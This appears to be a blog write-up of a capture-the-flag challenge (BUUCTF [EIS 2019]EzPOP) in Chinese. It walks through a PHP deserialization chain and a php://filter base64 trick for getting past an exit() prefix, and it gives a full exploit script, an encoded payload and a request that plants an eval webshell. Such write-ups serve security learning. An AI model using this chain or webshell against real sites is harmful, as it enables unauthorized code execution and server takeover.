BUUCTF之[EIS 2019]EzPOP

源码:

 <?php
error_reporting(0);

class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct($store, $key = 'flysystem', $expire = null)
    {
        $this->key    = $key;
        $this->store  = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save()
    {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }
}

class B{
    protected function getExpireTime($expire): int
    {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];
        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool
    {
        $this->writeTimes++;
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);
        $dir = dirname($filename);
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }
        return false;
    }
}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

首先确定应该是反序列化,考虑一下利用链的构造。
看一下代码,大概能确认总体思路:

A类__destruct()调用A类save()
通过构造A$storeB对象,从而在A类save()中调用B类set
B类set中最终完成shell的写入

接下来详细看一下各参数。
先从B类开始吧。

prefix用于文件名的构造。

...
    public function getCacheKey(string $name): string
    {
        return $this->options['prefix'] . $name;
    }
...
$filename = $this->getCacheKey($name);

因为在后面写入文件的时候,前面拼接了一段别的php代码

"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"

而且这段代码会导致即便我们在后面拼接上shell也无法正常执行。
这里经@张师傅提醒知道有道原题叫死亡退出,并且file_put_contents是支持php伪协议的,所以我们可以通过php://filter/write=convert.base64-decode/来将

$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

这段代码中的$data全部用base64解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shellbase64编码过的)会解码成正常的木马文件。
这里唯一需要注意的是长度问题,我们需要shell部分<?php phpinfo()?>前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。
所以$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/';已经可以确定了。

然后是控制写入的内容。
我们先确定$data是怎么生成的。
从最终写入文件,先看到的是

$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

这里<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n长度为32,所以不用注意:

...
   protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];
        #print strval($data);#[{"whatever":{"filename":"test"}},"333"]
        return $serialize($data);
    }
...
$data = $this->serialize($value);

只要不影响原值,哪个函数都行。这里我选择用的是strval,用strip_tags当然也是可以的。$b->options['serialize']='strval'

再看看A类:

    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save()
    {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

可以发现关键是$a->catch的构造。在cleanContents()中,array_intersect_key()是比较两个数组的键名,并返回交集。所以我们$object的键选$cachedProperties中任意一个都行,这里选择path。值就是我们的shellbase64编码
JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==
所以

$object = array("path"=>"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==");

如果我们设值$path='1',$complete='2',则最后得到的$contents会是

[{"1":{"path":"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ=="}},"2"]

其中$complete='2'因为在shell后面,所以并不影响解码。在本地试了试,发现$path='111'时,可以正常解码shell。这样的话,$data已经设置完毕。
别的就是一些判断条件的参数,最终的exp如下:

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->key = 'pz.php';
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}

$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>

这里PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg<?php eval($_POST['cmd']);?

运行后data值为:
O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A6%3A%22expire%22%3Bi%3A11%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A6%3A%22pz.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A38%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D

在这里插入图片描述
然后上传webshell

http://6e9d7a0c-fa7b-475c-ae6c-62841e193917.node3.buuoj.cn/?src=&data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A6%3A%22expire%22%3Bi%3A11%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A6%3A%22pz.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A38%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D

在这里插入图片描述
在这里插入图片描述
这里看到一句话已经上传成功了。
在这里插入图片描述
也可以命令执行了
在这里插入图片描述
flag到手。

发布了35 篇原创文章 · 获赞 19 · 访问量 5178

猜你喜欢

转载自blog.csdn.net/zhangpen130/article/details/104102746